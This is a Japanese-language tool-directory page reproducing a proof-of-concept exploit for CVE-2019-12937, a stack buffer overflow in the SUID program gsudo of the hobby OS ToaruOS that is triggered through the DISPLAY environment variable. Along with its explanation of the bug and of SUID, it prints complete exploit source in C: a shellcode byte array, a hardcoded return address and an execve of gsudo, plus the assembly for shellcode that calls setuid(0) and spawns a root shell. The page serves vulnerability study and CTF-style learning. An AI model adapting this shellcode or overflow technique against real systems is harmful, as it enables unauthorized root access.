Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-12937-ToaruOS — CVE-2019-12937の概念実証エクスプロイト:ToaruOS gsudoのスタックバッファオーバーフローで、巧妙に細工されたDISPLAY環境変数とシェルコードを介してローカル権限昇格をrootに可能にします。 | Kitploit
ツール/GitHubGitHub/akashicyitai/cve-2019-12937-toaruos
特権昇格脆弱性分析エクスプロイトCTF学習と教育バイナリエクスプロイト
GitHubakashicyitai/cve-2019-12937-toaruos

CVE-2019-12937-ToaruOS

CVE-2019-12937の概念実証エクスプロイト:ToaruOS gsudoのスタックバッファオーバーフローで、巧妙に細工されたDISPLAY環境変数とシェルコードを介してローカル権限昇格をrootに可能にします。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
42年前未レビュー

CVE-2019-12937

ToaruOSは、C言語で書かれたオープンソースのコンピュータオペレーティングシステムであり、イリノイ大学のコンピュータサイエンス学部の学部生によって開発されたホビーOSです。ToaruOSはPOSIXおよびx86アーキテクチャ上で動作します。主な機能として、プロセスとスレッドのサポート、ELFバイナリのサポート、実行時ローダブルモジュール、パイプ、各種端末デバイス(TTY)のサポート、仮想ファイルシステムのサポート、EXT2ファイルシステムのサポート、セマフォのサポートなどがあります。

ToaruOS 1.10.9以前のバージョンでは、gsudoのapps/gsudo.cファイルにバッファオーバーフローの脆弱性が存在します。攻撃者はDISPLAY環境変数を利用して、権限をrootに昇格させることができます。

ToaruOS 1.10.9プロジェクトリンク

攻撃方法

poc.cファイルをToaruOSシステムにコピーし、コピーしたディレクトリで次のコマンドを実行します。

root@kitploit:~
gcc -o poc poc.c
./poc

脆弱性トリガ位置

pex_connect関数内でsprintfを使用して文字列を連結していますが、パラメータtargetの長さがチェックされていません。targetが長すぎるとスタックオーバーフローが発生します。

root@kitploit:~
FILE * pex_connect(char * target) {
    char tmp[100];
    sprintf(tmp, "/dev/pex/%s", target);
    FILE * out = fopen(tmp, "r+");
    if (out) {
        setbuf(out, NULL);
    }
    return out;
}

ここで、パラメータtargetは環境変数DISPLAYの値です。

root@kitploit:~
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
    server_name = "compositor";
}
FILE * c = pex_connect(server_name);

if (!c) {
    return NULL; /* Connection failed. */
}
......
......
}

gsudoプログラムはyutani_init関数を呼び出します。gsudoはSUID権限を持つプログラムであるため、gsudoの実行時はroot権限であり、前述のオーバーフローを利用して権限昇格が可能です。

root@kitploit:~
int main(int argc, char ** argv) {

    if (argc < 2) {
            return 1;
    }

    yctx = yutani_init();
....
....
}

SUID

SUIDプログラムはsおよびt権限を作成します。これは一般ユーザーが特定のプログラムを実行する際に、一時的にそのプログラムの所有者の権限を持つことを可能にします。

以下はSUIDプログラムの実行プロセスをテストします。

root@kitploit:~
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main()
{
	int res;
	res = setuid(0);
	printf("%d\n",res);
	system("/bin/sh");
}

setuid関数は現在のユーザーのIDを設定します。パラメータが0の場合、現在のプロセスをrootに設定します。setuid呼び出し後、シェルプログラムを実行し、現在のユーザーを確認します。

root@kitploit:~
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ gcc -o setuid setuid.c 
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
-1
$ whoami
akashic
$ exit
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chown root ./setuid
[sudo] password for akashic: 
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chmod u+s ./setuid
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid 
0
# whoami
root
# exit

ToaruOSでは、オペレーティングシステムの起動後、すべてのプログラムはforkからexec_elfを経由してロードされ、プログラムの権限は親プロセスの権限になります。プログラムにsetuid権限がある場合、プロセス権限は現在のファイル所有者の権限に設定されます。

エクスプロイト

今回のオーバーフローはSUID権限を持つプログラムで発生するため、スタックオーバーフローを利用して権限昇格を行うことができます。

ToaruOSにはスタックのランダム化、ヒープのランダム化、スタックの実行防止などの保護機構が存在しないため、エクスプロイトは非常に簡単ですが、gdbなどのデバッグツールもないため、多少の工夫が必要です。

スタックオーバーフローによりeipを制御し、権限昇格用のペイロードアドレスに遷移させます。スタック上でコードを実行でき、スタックアドレスも固定されているため、environ変数を使用してペイロードをスタック上に配置します。argvとenvironのアドレスは直接出力できます。

root@kitploit:~
#include <stdio.h>
extern char **environ;
void main(int argc, char *argv[])
{
	printf("argv:%x\t\t\n",argv);
	printf("environ:%x\t\n",env);
	return 0;
}

結果

root@kitploit:~
argv:		3f00c00c
environ:	3f022010

環境変数の値を設定し、eip値をargvとenvironの間に制御します。eipアドレスには\x00文字を含んではならないため、Nop命令を埋めて回避します。

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define EIP          "\xb0\xb0\x01\x3f"
#define EIP_DISTANCE 25U

char shellcode[] = {
  0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
  0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
  0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
  0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
  0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00
};
unsigned int shellcode_length = 57;

int main(void)
{
	char payload[65536];
	char vector[8192]   = "DISPLAY=Akashic";
	char * const arg[3] = { "/bin/gsudo", "meh", NULL };
	char * const env[3] = { payload, vector, NULL };

	memset(payload, 'A', sizeof(payload) - shellcode_length - 1);
	payload[sizeof(payload) - shellcode_length - 1] = 0;
	strcat(payload, shellcode);

	for (unsigned int i = 0; i < EIP_DISTANCE; i++)
		strcat(vector, EIP);

	execve("/bin/gsudo", arg, env);

	perror("execve()");
	exit(EXIT_FAILURE);
}

payload

ペイロードでは、まずsetuid(0)を実行して現在のプロセスの権限を設定し、次にsystem("/bin/shh")を実行してシェルを取得します。ToaruOSではシステムコールはint 0x7fで呼び出され、syscall_nums.hにシステムコール番号が定義されています。setuidは24、systemは7に対応します。

root@kitploit:~
    xor eax, eax
    add al, 24
    xor ebx, ebx
    int 0x7f
    jmp short end
start:
    pop ebx
    xor eax, eax
    mov [ebx+7], al
    mov [ebx+8], ebx
    mov [ebx+12], eax
    add al, 7
    lea ecx, [ebx+8]
    lea edx, [ebx+12]
    int 0x7f
    xor eax, eax
    int 0x7f
end:
    call start
db "/bin/shh"
db "XXXXXXXX"
ツールをダウンロード